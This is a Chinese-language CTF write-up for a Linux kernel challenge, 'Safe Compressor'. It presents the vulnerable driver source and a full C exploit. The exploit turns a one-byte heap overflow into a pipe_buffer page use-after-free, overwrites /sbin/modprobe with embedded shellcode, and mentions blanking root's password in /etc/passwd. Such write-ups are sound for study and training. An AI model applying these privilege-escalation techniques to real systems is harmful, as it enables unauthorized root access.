Securinets CTF Final 2024: Safe Compressor

写在最前面

复习了一天高数,晚上头昏欲裂,大脑酸的一批🤡🤡🤡,然后想找道 CTF 题目放松一下。然后想到去年 11 月的时候空白给我发了一道题目叫我看看,可以当时和同学在外面看《毒液:last dance》,所以就没有去做这道题目。于是我找空白问了一下,了解到这道题目当时 0 解,来劲了!!!不过虽然说是 0 解题,我是觉得挺简单的,两个小时就做出来了🤔,感觉是因为 final 选手们比较紧张就直接把内核题给跳过了🤔

信息收集

这是一道 linux kernel pwn,好像也没什么要注意的,就是版本特别的高:

1
2
user@slub-vm:/home/user$ uname -r
6.12.0-rc7+

出题人也特别的友好,直接给出了内核驱动的源码,省去了我们许多逆向的麻烦 :)

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/vmalloc.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/fs.h>
#include <linux/miscdevice.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("M0ngi");
MODULE_VERSION("1.0");
MODULE_DESCRIPTION("Super safe compressor");

#define DEVICE_NAME "safe_compressor"

#define IOCTL_COMPRESS 0xdead0001
#define IOCTL_DECOMPRESS 0xdead0002
#define IOCTL_DELETE 0xdead0003
#define IOCTL_EMPTY 0xdead0004

#define MAX_ITEMS 256
#define MAX_ARRAY_SIZE 20

struct compressed_arr
{
unsigned char *data;
unsigned long idx;
unsigned long size;
};

static struct compressed_arr *compressed_data[MAX_ITEMS] = {NULL};
static struct mutex g_mutex;

static int vuln_open(struct inode *, struct file *);
static int vuln_release(struct inode *, struct file *);
static long vuln_ioctl(struct file *file, unsigned int cmd, unsigned long arg);

static void compress(int *input, unsigned long size, unsigned char **compressed, long unsigned *out_size);
static void decompress(unsigned char *input, unsigned long size, int **output, long unsigned *out_size);

static int find_empty_idx(void);
static void write_bit_to_result(int current_bit, unsigned char **ptr, unsigned long *idx, unsigned long *bits);
static int find_obj_by_id(unsigned long id);

static const struct file_operations g_fops = {
.owner = THIS_MODULE,
.open = vuln_open,
.release = vuln_release,
.unlocked_ioctl = vuln_ioctl,
};

static struct miscdevice g_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = DEVICE_NAME,
.fops = &g_fops,
.mode = 0666,
};

struct compress_array_arg
{
unsigned long idx;
int *array;
unsigned long size;
};

struct decompress_array_arg
{
unsigned long idx;
int *array;
unsigned long size;
};

struct del_array_arg
{
int idx;
};

struct empty_array_arg
{
int idx;
};

static int find_empty_idx(void)
{
int i;
for (i = 0; i < MAX_ITEMS; i++)
{
if (compressed_data[i] == NULL)
return i;
}
return -1;
}

static int find_obj_by_id(unsigned long id)
{
int i;
for (i = 0; i < MAX_ITEMS; i++)
{
if (compressed_data[i] != NULL && compressed_data[i]->idx == id)
return i;
}
return -1;
}

/*
* Open the device.
*/
static int vuln_open(struct inode *inode, struct file *file)
{
return 0;
}

/*
* Close the device.
*/
static int vuln_release(struct inode *inode, struct file *file)
{
return 0;
}

static int ioctl_compress(void __user *argp)
{
struct compress_array_arg arg_struct;
int user_array[MAX_ARRAY_SIZE] = {0};

int idx = find_empty_idx();
if (idx < 0)
return -EFAULT;

if (copy_from_user(&arg_struct, argp, sizeof arg_struct))
return -EFAULT;

if (arg_struct.size <= 0 || arg_struct.size > MAX_ARRAY_SIZE)
return -EFAULT;

memset(user_array, 0, arg_struct.size * 4);
if (copy_from_user(user_array, arg_struct.array, arg_struct.size * 4))
return -EFAULT;

compressed_data[idx] = kmalloc(sizeof(struct compressed_arr), GFP_KERNEL);
compressed_data[idx]->idx = arg_struct.idx;
compress(user_array, arg_struct.size, &compressed_data[idx]->data, &compressed_data[idx]->size);
return 0;
}

static int ioctl_delete(void __user *argp)
{
struct del_array_arg arg_struct;
if (copy_from_user(&arg_struct, argp, sizeof arg_struct))
return -EFAULT;

int idx = find_obj_by_id(arg_struct.idx);
if (idx < 0)
return -EFAULT;

kfree(compressed_data[idx]->data);
compressed_data[idx]->data = NULL;
kfree(compressed_data[idx]);
compressed_data[idx] = NULL;
return 0;
}

static int ioctl_empty(void __user *argp)
{
struct del_array_arg arg_struct;
if (copy_from_user(&arg_struct, argp, sizeof arg_struct))
return -EFAULT;

int idx = find_obj_by_id(arg_struct.idx);
if (idx < 0)
return -EFAULT;

memset(compressed_data[idx]->data, 0, compressed_data[idx]->size);
return 0;
}

static int ioctl_decompress(void __user *argp)
{
struct decompress_array_arg arg_struct;

if (copy_from_user(&arg_struct, argp, sizeof arg_struct))
return -EFAULT;

int idx = find_obj_by_id(arg_struct.idx);
if (idx < 0)
return -EFAULT;

int *decompressed;
unsigned long decompressed_size;

decompress(compressed_data[idx]->data, compressed_data[idx]->size, &decompressed, &decompressed_size);
int size = min(arg_struct.size * 4, decompressed_size * 4);

if (copy_to_user(arg_struct.array, decompressed, size))
{
kfree(decompressed);
return -EFAULT;
}

kfree(decompressed);
return 0;
}

/*
* Handle ioctl calls.
*/
static long vuln_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
void __user *argp = (void __user *)arg;
int err = 0;

if (!mutex_trylock(&g_mutex))
return -EAGAIN;

switch (cmd)
{
case IOCTL_COMPRESS:
err = ioctl_compress(argp);
break;
case IOCTL_DECOMPRESS:
err = ioctl_decompress(argp);
break;
case IOCTL_DELETE:
err = ioctl_delete(argp);
break;
case IOCTL_EMPTY:
err = ioctl_empty(argp);
break;
default:
err = -EINVAL;
}

mutex_unlock(&g_mutex);
return err;
}

static void write_bit_to_result(int current_bit, unsigned char **ptr, unsigned long *idx, unsigned long *bits)
{
unsigned char mask = ~(1 << *idx);
(**ptr) &= mask;
(**ptr) |= (current_bit << *idx);

(*idx)++;
(*bits)++;
if (*idx == 8)
{
*idx = 0;
(*ptr)++;
}
}

static void compress(int *input, unsigned long size, unsigned char **compressed, unsigned long *out_size)
{
*compressed = kzalloc(sizeof(int) * size, GFP_KERNEL);
*out_size = 0;

unsigned char *ptr = *compressed;
unsigned long idx = 0; // From 0 to 7, indexing *ptr
unsigned long bits = 0;

int i, j;
for (i = 0; i < size; i++)
{
// Here we have 32bits
int curr_byte = input[i];
int offset = 0;
while ((curr_byte != 0 && offset <= 31) || (curr_byte == 0 && offset <= 6))
{
// Copy first 7 bits
for (j = 0; j < 7; j++)
{
int current_bit = curr_byte & 1;
curr_byte = curr_byte >> 1;
offset++;

write_bit_to_result(current_bit, &ptr, &idx, &bits);
}
if (offset == 7)
{
write_bit_to_result(1, &ptr, &idx, &bits); // Stop bit
}
else
{
write_bit_to_result(0, &ptr, &idx, &bits);
}
}
}

*out_size = bits / 8;
}

static void decompress(unsigned char *input, unsigned long size, int **output, unsigned long *out_size)
{
// Worst case: each byte has a stop bit, means each byte will become an int
*out_size = 0;
int *res = kmalloc(size * 4, GFP_KERNEL);

int sum = 0;
int offset = 0;

int i;
for (i = size - 1; i >= 0; i--)
{
unsigned char curr_byte = input[i];

int is_stop = curr_byte & 0b10000000;
int value = curr_byte & 0b01111111;

sum = (sum << offset) | value;
offset += 7;

if (is_stop)
{
offset = 0;
res[(*out_size)++] = sum;
sum = 0;
}
}

*output = kmalloc(*out_size * 4, GFP_KERNEL);
for (i = 0; i < *out_size; i++)
{
(*output)[i] = res[*out_size - i - 1];
}
kfree(res);
}

/*
* Initialisation function.
*/
static int __init vuln_init(void)
{
int err;

mutex_init(&g_mutex);

/* Create the device */
err = misc_register(&g_device);
if (err < 0)
{
printk(KERN_ALERT "safe_compression: Failed to misc_register\n");
return err;
}

printk(KERN_INFO "safe_compression: module initialized\n");
return 0;
}

/*
* Cleanup function.
*/
static void __exit vuln_exit(void)
{
// int i;

// for (i = 0; i < VULN_MAX_CHANNELS; i++)
// {
// vuln_destroy_channel(i);
// }

misc_deregister(&g_device);
printk(KERN_INFO "vuln: module exited\n");
}

module_init(vuln_init);
module_exit(vuln_exit);

漏洞分析与利用

这个内核驱动实现了一个自定义的数据压缩与解压,一共有四个功能,总结如下:
compress:根据用户输入的数据的大小分配相应大小的堆块,用自定义的压缩算法降数据压缩后写入到申请的堆块中,最多可以申请 200 个堆块
decompress:选中其中一个堆块并将其内容进行解压返回给用户
delete:释放指定的堆块,这里在调用 kfree 后讲指针清空了,不存在 UAF
empty:将当前堆块清空

这里用脚都能想到漏洞肯定出现在这个压缩算法上,该加密算法的写的挺抽象的,其大致流程如下:
将每个 32 bit 的 int 对象按 7 bit 进行分组,然后在每组的最高位加上一个 bit 变成一字节的数据写入到堆内存中。如果当前组是当前 32 bit 的 int 对象的第一组,则最高位的 bit 为 1,其他情况下都为 0。如果当前分组的值为 0 且不为 int 对象的第一个组,则直接停止对该 int 对象的压缩,开始处理下一个 int 对象。如果当前分组的值为 0 且为 int 的对象的第一个组,则写入这第一个分组(当然最高位依然要补 1)然后直接进行下一个 int 的压缩

这里为了方便理解,直接举个例子:

1
2
data[0] = 0x11111111;
compress(0,data,16);

第三个参数 16 是 size,也就是告诉内核我要对 16 个 int 对象进行压缩,也就是说内核会在堆上申请 4 * 16 = 0x40 大小的堆空间,此时压缩后的数据如下:

1
2
3
4
5
pwndbg> x/8gx 0xffffa1bdc1319940
0xffffa1bdc1319940: 0x8080800108442291 0x8080808080808080
0xffffa1bdc1319950: 0x0000000080808080 0x0000000000000000
0xffffa1bdc1319960: 0x0000000000000000 0x0000000000000000
0xffffa1bdc1319970: 0x0000000000000000 0x0000000000000000

可以看到压缩后的数据为 0x108442291 和 15 个 0x80,0x80 的二进制为:

1
2
>>> bin(0x80)
'0b10000000'

在我们的压缩算法里面要出现这种现象的只有一种情况,那就是这个 int 对象全为 0,而我们告诉内核我们要压缩 15 个 int 对象,我们输入数据里面有 15 个 int 为 0,和 15 个 0x80 相吻合。

而 0x108442291 则为 0x11111111 压缩后的结果,将其二进制位进行比较然后在看一遍我上面对该压缩算法的简述就很好理解:

1
2
3
4
>>> bin(0x11111111)
'0b10001000100010001000100010001'
>>> bin(0x0108442291)
'0b100001000010001000010001010010001'

看到这里漏洞就显而易见了,该压缩算法主要是对 0 数据进行压缩,可是如果我们一个 int 类型的数据长度刚好占满了 4 字节呢?由于每一组都会有 1 bit 的标志位,因此这里会溢出一字节。上面 0x11111111 压缩后的数据就明显比压缩前的数据大。由于 int 为 0 的时压缩后的数据为 0x80,0x40 对齐,刚好可以用于覆盖 pipe_buffer 的低字节来实现 page uaf

下面这段 poc 可以实现 0x40 大小的 object 溢出一字节 \x80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
data[0] = 0x11111111;
data[1] = 0x22222222;
data[2] = 0x33333333;
data[3] = 0x44444444;
data[4] = 0x55555555;
data[5] = 0x66666666;
data[6] = 0x77777777;
data[7] = 0x88888888;
data[8] = 0x99999999;
data[9] = 0xaaaaaaaa;
data[10] = 0xbbbbbbbb;
data[11] = 0xcccccccc;
data[12] = 0xc0;

compress(0,data,16);

这里我们 object 申请用的是 GFP_KERNEL,而 pipe_buffer 用的是 GFP_KERNEL_ACCOUNT,存在隔离,可是在调试的过程中我们会发现有很大概率存在一个 kmalloc-64 且类型为 GFP_KERNEL 的 slab 与一个空闲的 page 相邻,所以我们可以堆喷大量的 pipe_buffer 尝试占用那一个 page,然后再堆喷大量的溢出压缩 object 尝试覆盖 pipe_buffer 的 page 指针的低字节,构造出 page uaf,效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> tel 0xffff8e89013a1000-0x40
00:0000│ 0xffff8e89013a0fc0 ◂— 0x844a20108442291
01:0008│ 0xffff8e89013a0fc8 ◂— 0xc403194c66b30211
02:0010│ 0xffff8e89013a0fd0 ◂— 0x2a552ad504221108
03:0018│ 0xffff8e89013a0fd8 ◂— 0x6ef70633194ce605
04:0020│ 0xffff8e89013a0fe0 ◂— 0x7844221188073b5d
05:0028│ 0xffff8e89013a0fe8 ◂— 0x2a55aa794c663399
06:0030│ 0xffff8e89013a0ff0 ◂— 0xcc7b5d6e77bb7a55
07:0038│ 0xffff8e89013a0ff8 ◂— 0x808001c07c663319
pwndbg>
08:0040│ 0xffff8e89013a1000 —▸ 0xffff8e89013a0780 ◂— 0x844a20108442291 ----> victim
09:0048│ 0xffff8e89013a1008 ◂— 0x3b /* ';' */
0a:0050│ 0xffff8e89013a1010 ◂— 0x41 /* 'A' */
0b:0058│ 0xffff8e89013a1018 ◂— 0x0
0c:0060│ 0xffff8e89013a1020 —▸ 0xffff8e89013a0740 ◂— 0x844a20108442291
0d:0068│ 0xffff8e89013a1028 ◂— 0x3c /* '<' */
0e:0070│ 0xffff8e89013a1030 ◂— 0x41 /* 'A' */
0f:0078│ 0xffff8e89013a1038 ◂— 0x0
pwndbg>
10:0080│ 0xffff8e89013a1040 —▸ 0xffff8e89013a0780 ◂— 0x844a20108442291 ----> victim
11:0088│ 0xffff8e89013a1048 ◂— 0x3d /* '=' */
12:0090│ 0xffff8e89013a1050 ◂— 0x41 /* 'A' */
13:0098│ 0xffff8e89013a1058 ◂— 0x0
14:00a0│ 0xffff8e89013a1060 —▸ 0xffff8e89013a07c0 ◂— 0x844a20108442291
15:00a8│ 0xffff8e89013a1068 ◂— 0x3e /* '>' */
16:00b0│ 0xffff8e89013a1070 ◂— 0x41 /* 'A' */
17:00b8│ 0xffff8e89013a1078 ◂— 0x0
pwndbg>

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>
#include <crypt.h>

struct compress_array_arg{
unsigned long idx;
int *array;
unsigned long size;
};

struct decompress_array_arg{
unsigned long idx;
int *array;
unsigned long size;
};

struct del_array_arg{
int idx;
};

struct empty_array_arg{
int idx;
};

#define MAX_PIPE_COUNT 0x80
int pipe_fd[MAX_PIPE_COUNT][2];
int already_read[MAX_PIPE_COUNT];

void spray_pipes(int start, int cnt) {
char *buf[0x1000] = { 0 };
printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start);

for (int i = start; i < cnt; ++i) {
if (pipe(pipe_fd[i]) < 0) {
perror("create pipe");
exit(0);
}
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 1) < 0) {
perror("resize pipe");
exit(0);
}
}
}

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int fd;
void compress(unsigned long idx, int *array, unsigned long size){
struct compress_array_arg arg_struct;
arg_struct.idx = idx;
arg_struct.array = array;
arg_struct.size = size;
ioctl(fd, 0xdead0001, &arg_struct);
}

void delete(unsigned long idx){
struct del_array_arg arg_struct;
arg_struct.idx = idx;
ioctl(fd, 0xdead0003, &arg_struct);
}

void empty(unsigned long idx){
struct del_array_arg arg_struct;
arg_struct.idx = idx;
ioctl(fd, 0xdead0004, &arg_struct);
}

unsigned char shellcode[544] = {
0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x45, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xE5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6A, 0x74, 0x48, 0xB8, 0x2F, 0x66, 0x6C, 0x61, 0x67, 0x2E, 0x74, 0x78, 0x50, 0x48, 0x89, 0xE7,
0x31, 0xD2, 0x31, 0xF6, 0x6A, 0x02, 0x58, 0x0F, 0x05, 0x31, 0xC0, 0x6A, 0x03, 0x5F, 0x6A, 0x64,
0x5A, 0xBE, 0x01, 0x01, 0x01, 0x01, 0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x0F, 0x05, 0x6A, 0x01,
0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01, 0x01, 0x01, 0x01, 0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x6A,
0x01, 0x58, 0x0F, 0x05, 0x00, 0x00, 0x2E, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00,
0x2E, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

int data[0x200];
size_t leak[0x80];
int main(int argc, char ** argv){
bind_core(0);
save_status();

fd = open("/dev/safe_compressor",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}

spray_pipes(0, 0x80);

data[0] = 0x11111111;
data[1] = 0x22222222;
data[2] = 0x33333333;
data[3] = 0x44444444;
data[4] = 0x55555555;
data[5] = 0x66666666;
data[6] = 0x77777777;
data[7] = 0x88888888;
data[8] = 0x99999999;
data[9] = 0xaaaaaaaa;
data[10] = 0xbbbbbbbb;
data[11] = 0xcccccccc;
data[12] = 0xc0;

for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
uint32_t k = i;
write(pipe_fd[i][1], "qian", 4);
write(pipe_fd[i][1], &k, sizeof(uint32_t));
}

for(int i = 0; i < 120; i++){
compress(i+1,data,16);
}

// try to find corrupted pipe_buf
printf("[*] finding corrupted page\n");
int corrupted_index = -1, pointed_index = 0;
for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
already_read[i] = 1;
uint32_t k = 0;
char p_buf[0x10] = { 0 };
memset(p_buf, 0, 0x10);

read(pipe_fd[i][0], p_buf, 4);
read(pipe_fd[i][0], &k, sizeof(uint32_t));

if (k != i) {
corrupted_index = i;
pointed_index = k;
printf("[+] found %d=>%d pipe data: %p\n", i, k, *(uint64_t *)p_buf);
break;
}
usleep(1000);
}
if (corrupted_index == -1) {
printf("[-] failed to find corrupted page\n");
exit(0);
}

close(pipe_fd[corrupted_index][0]);
close(pipe_fd[corrupted_index][1]);

int passwd_fd[0x200];
for(int i = 0; i < 0x200; i++){
passwd_fd[i] = open("/sbin/modprobe", O_RDONLY);
if(passwd_fd[i] < 0){
err_exit("open file.");
}
}

size_t tmp = 0x480e801f;
write(pipe_fd[pointed_index][1], &tmp, 4);
read(pipe_fd[pointed_index][0], &leak, 0x20);
binary_dump("leak", leak, 0x20);

info("try to over write file.");
for(int i = 0; i < 0x200; i++){
int retval = write(passwd_fd[i], shellcode, sizeof(shellcode));
if(retval > 0){
puts("write file success.");
break;
}
}

for(int i = 0; i < 0x200; i++){
close(passwd_fd[i]);
}

system("echo -e '\\xff\\xff\\xff\\xff'>/home/user/fake");
system("chmod +x /home/user/fake");
system("/home/user/fake");

puts("[+] EXP END.");
return 0;
}

当然如果 /bin/su 有特权的话(RealWorld 中都是有的),我们可以直接将 /etc/passwd 中 root 用户改成:

1
root::0:0:root:/root:/bin/sh

也可以提权

总结

怎么想都不明白这么简单的题为什么会零解😇。闲的慌我去看了眼出题人的官方题解,发现其做法是充分利用题目提供的四种功能泄露出各种数据然后精心构造各种原语来搜索和修改 cred 结构体来实现提权。只能说这种方法确实强,可是太麻烦了,而且需要充分利用题目提供的四种功能来构造原语。而我只需要利用题目的 compress 功能即可实现提权,看来这次是我更甚一筹😋😋😋
想了想,当时这次比赛 r3kapig 以 20 分的分差落后第一名排第二,如果加上这题就能拉第一名 480 分

看来这次又要背锅了😨
不过身为考研选手,今年 CTF 要少点碰了,该约束一下自己,除了 XCTF 和 defcon 其他比赛禁止参加😇